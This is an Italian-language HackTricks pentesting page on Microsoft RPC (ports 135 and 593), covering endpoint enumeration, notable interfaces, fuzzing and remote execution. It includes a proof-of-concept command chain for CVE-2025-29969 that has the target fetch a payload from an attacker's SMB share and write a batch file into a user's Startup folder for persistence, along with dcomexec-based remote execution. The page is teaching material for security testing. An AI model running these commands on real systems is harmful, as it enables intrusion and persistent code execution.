135, 593 - Pentesting MSRPC

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Il protocollo Microsoft Remote Procedure Call (MSRPC), un modello client-server che consente a un programma di richiedere un servizio a un programma situato su un altro computer senza conoscere i dettagli della rete, è stato inizialmente derivato da software open-source e successivamente sviluppato e protetto da copyright da Microsoft.

L’RPC endpoint mapper è accessibile tramite le porte TCP e UDP 135, SMB sulle porte TCP 139 e 445 (with a null or authenticated session), e come web service sulla porta TCP 593.

135/tcp   open     msrpc         Microsoft Windows RPC

Come funziona MSRPC?

Iniziato dall’applicazione client, il processo MSRPC consiste nell’invocare una procedura stub locale che poi interagisce con la libreria runtime client per preparare e trasmettere la richiesta al server. Ciò include la conversione dei parametri in un formato standard Network Data Representation. La scelta del protocollo di trasporto è determinata dalla libreria runtime se il server è remoto, garantendo che la RPC venga inoltrata attraverso lo stack di rete.

https://0xffsec.com/handbook/images/msrpc.png

Identificazione dei servizi RPC esposti

L’esposizione dei servizi RPC su TCP, UDP, HTTP e SMB può essere determinata interrogando il servizio RPC locator e i singoli endpoint. Tool come rpcdump facilitano l’identificazione di servizi RPC unici, indicati dai valori IFID, rivelando i dettagli del servizio e i binding di comunicazione:

D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]

L’accesso al RPC locator service è abilitato tramite protocolli specifici: ncacn_ip_tcp e ncadg_ip_udp per l’accesso tramite porta 135, ncacn_np per connessioni SMB, e ncacn_http per la comunicazione RPC basata su web. I seguenti comandi esemplificano l’utilizzo dei moduli Metasploit per verificare e interagire con i servizi MSRPC, concentrandosi principalmente sulla porta 135:

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135

Tutte le opzioni ad eccezione di tcp_dcerpc_auditor sono specificamente progettate per prendere di mira MSRPC sulla porta 135.

Interfacce RPC notevoli

  • IFID: 12345778-1234-abcd-ef00-0123456789ab
  • Named Pipe: \pipe\lsarpc
  • Descrizione: Interfaccia LSA, utilizzata per enumerare gli utenti.
  • IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  • Named Pipe: \pipe\lsarpc
  • Descrizione: Interfaccia LSA Directory Services (DS), utilizzata per enumerare domini e relazioni di trust.
  • IFID: 12345778-1234-abcd-ef00-0123456789ac
  • Named Pipe: \pipe\samr
  • Descrizione: Interfaccia LSA SAMR, utilizzata per accedere a elementi pubblici del database SAM (es., nomi utente) e per brute-force delle password utente indipendentemente dalla policy di lockout degli account.
  • IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • Named Pipe: \pipe\atsvc
  • Descrizione: Task scheduler, usato per eseguire comandi da remoto.
  • IFID: 338cd001-2244-31f1-aaaa-900038001003
  • Named Pipe: \pipe\winreg
  • Descrizione: Servizio di registro remoto, usato per accedere e modificare il registro di sistema.
  • IFID: 367abb81-9844-35f1-ad32-98f038001003
  • Named Pipe: \pipe\svcctl
  • Descrizione: Service control manager e servizi server, usati per avviare e fermare servizi da remoto ed eseguire comandi.
  • IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  • Named Pipe: \pipe\srvsvc
  • Descrizione: Service control manager e servizi server, usati per avviare e fermare servizi da remoto ed eseguire comandi.
  • IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  • Named Pipe: \pipe\epmapper
  • Descrizione: Interfaccia DCOM, usata per attacchi brute-force alle password e raccolta informazioni via WM.

Primitive MS-EVEN (EventLog Remoting)

L’interfaccia RPC MS-EVEN (named pipe \pipe\even) espone operazioni di Eventlog. L’analisi di SafeBreach su CVE-2025-29969 (EventLog-in) mostra un difetto di tipo TOCTOU in MS-EVEN che permette a un utente autenticato con privilegi bassi di innescare una scrittura arbitraria remota di file sul bersaglio: contenuto scelto dall’attaccante scritto in un percorso scelto dall’attaccante senza necessitare dei diritti di Amministratore per la scrittura remota.

Pattern operativo (workflow PoC): posizionare un EVTX valido più il payload su una condivisione SMB, poi sfruttare una condizione di race nella logica di MS-EVEN in modo che il target recuperi il file ospitato su SMB e lo scriva nel percorso scelto.

impacket-smbserver -smb2support Share /tmp/safebreach

Il PoC pubblicato usa un nome di condivisione SMB codificato staticamente (Share), quindi se lo cambi devi anche aggiornare lo script.

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123   "/tmp/safebreach/Sample.evtx" "calc.bat"   "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"

Una catena comune è collocarsi nella per-user Startup folder per persistenza ed esecuzione al prossimo logon (l’esecuzione avviene nel contesto di quell’utente).

MS-EVEN CreateFile-style primitive per il riconoscimento

MS-EVEN espone anche una primitiva file open/create (descritta nel PoC come CreateFile) che può essere usata da qualsiasi utente autenticato per verificare se un file o una directory remota esiste. Questo è utile per la scoperta del software controllando i percorsi di installazione comuni (es., C:\Program Files\<Vendor>):

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY

Identifying IP addresses

Usando https://github.com/mubix/IOXIDResolver, che proviene dalla Airbus research, è possibile abusare del metodo ServerAlive2 all’interno dell’interfaccia IOXIDResolver.

Questo metodo è stato usato per ottenere informazioni sulle interfacce come indirizzo IPv6 dalla macchina HTB APT. See here for 0xdf APT writeup, it includes an alternative method using rpcmap.py from Impacket with stringbinding (see above).

Executing a RCE with valid credentials

È possibile eseguire codice remoto su una macchina, se sono disponibili le credenziali di un utente valido, usando dcomexec.py dal framework impacket.

Remember to try with the different objects available

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

Porta 593

Il rpcdump.exe da rpctools può interagire con questa porta.

Automated Fuzzing of MSRPC Interfaces

Le interfacce MS-RPC espongono una superficie di attacco ampia e spesso non documentata. Il modulo PowerShell open-source MS-RPC-Fuzzer si basa su James Forshaw’s NtObjectManager per creare dinamicamente stub client RPC a partire dai metadati dell’interfaccia già presenti nei binari di Windows. Una volta che esiste uno stub, il modulo può bombardare ogni procedura con input mutati e registrare l’esito, rendendo possibile il fuzzing riproducibile e su larga scala degli endpoint RPC senza scrivere una sola riga di IDL.

1. Inventariare le interfacce

# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1

# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output

Get-RpcServerData estrarrà l’UUID, la versione, le stringhe di binding (named-pipe / TCP / HTTP) e i prototipi completi delle procedure per ogni interfaccia che incontra e li salverà in rpcServerData.json.

2. Esegui il fuzzer

'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100  -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999

Relevant options:

  • -MinStrLen / -MaxStrLen – intervallo di dimensione per le stringhe generate
  • -MinIntSize / -MaxIntSize – intervallo di valori per gli interi mutati (utile per test di overflow)
  • -Sorted – esegue le procedure in un ordine che rispetta le dipendenze dei parametri in modo che gli output di una chiamata possano servire come input per la successiva (aumenta in modo significativo i percorsi raggiungibili)

Il fuzzer implementa 2 strategie:

  1. Default fuzzer – valori primitivi casuali + istanze di default per tipi complessi
  2. Sorted fuzzer – ordinamento consapevole delle dipendenze (vedi docs/Procedure dependency design.md)

Ogni chiamata viene scritta in modo atomico su log.txt; dopo un crash la ultima riga ti indica immediatamente la procedura incriminata. Il risultato di ogni chiamata viene inoltre categorizzato in tre file JSON:

  • allowed.json – la chiamata è riuscita e ha restituito dati
  • denied.json – il server ha risposto con Access Denied
  • error.json – qualsiasi altro errore / crash

3. Visualizza con Neo4j

'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j

Import-DataToNeo4j converte gli artefatti JSON in una struttura a grafo dove:

  • RPC server, interfacce e procedure sono nodi
  • Interazioni (ALLOWED, DENIED, ERROR) sono relazioni

Le query Cypher possono poi essere usate per individuare rapidamente procedure pericolose o per riprodurre la catena esatta di chiamate che ha preceduto un crash.

⚠️ Il fuzzer è distruttivo: aspettati crash dei servizi e persino BSOD – eseguilo sempre in uno snapshot di VM isolato.

Enumerazione automatica delle interfacce e generazione dinamica del client (NtObjectManager)

Il guru di PowerShell James Forshaw ha esposto la maggior parte degli internals di Windows RPC all’interno del modulo open–source NtObjectManager. Usandolo puoi trasformare qualsiasi DLL / EXE di server RPC in uno stub client completo in pochi secondi – no IDL, MIDL o unmarshalling manuale richiesti.

# Install the module once
Install-Module NtObjectManager -Force

# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *

L’output tipico espone i tipi di parametro esattamente come appaiono in MIDL (ad es. FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).

Una volta che conosci l’interfaccia puoi generare un client C# pronto per la compilazione:

# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

Nel stub prodotto troverai metodi come:

public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}

L’helper PowerShell Get-RpcClient può creare un oggetto client interattivo così puoi chiamare la procedura immediatamente:

$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType  WinNT  # NTLM auth

# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)

L’autenticazione (Kerberos / NTLM) e i livelli di crittografia (PacketIntegrity, PacketPrivacy, …) possono essere forniti direttamente tramite il cmdlet Connect-RpcClient – ideale per bypassing Security Descriptors che proteggono named pipes con privilegi elevati.

Fuzzing RPC contestuale (MS-RPC-Fuzzer)

La conoscenza statica delle interfacce è utile, ma ciò di cui hai realmente bisogno è coverage-guided fuzzing che comprenda context handles e complesse catene di parametri. Il progetto open-source MS-RPC-Fuzzer automatizza esattamente questo flusso di lavoro:

  1. Enumerare ogni interfaccia/procedura esportata dal binario target (Get-RpcServer).
  2. Generare client dinamici per ogni interfaccia (Format-RpcClient).
  3. Randomizzare i parametri di input (lunghezze di wide strings, intervalli di interi, enums) rispettando l’originale NDR type.
  4. Tracciare context handles restituiti da una chiamata per alimentare automaticamente le procedure successive.
  5. Eseguire chiamate ad alto volume contro il trasporto scelto (ALPC, TCP, HTTP o named pipe).
  6. Registrare exit statuses / faults / timeouts ed esportare un file di importazione Neo4j per visualizzare le relazioni interface → procedure → parameter e i cluster di crash.

Esempio di esecuzione (named–pipe target):

Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1  -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results

Una singola out-of-bounds write o un’eccezione inaspettata verrà immediatamente riportata con l’esatto opnum + fuzzed payload che l’ha innescata – punto di partenza perfetto per un exploit proof-of-concept stabile.

⚠️ Molti servizi RPC vengono eseguiti in processi con privilegi di NT AUTHORITY\SYSTEM. Qualsiasi problema di memory-safety qui di solito si traduce in local privilege escalation o (quando esposto over SMB/135) remote code execution.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks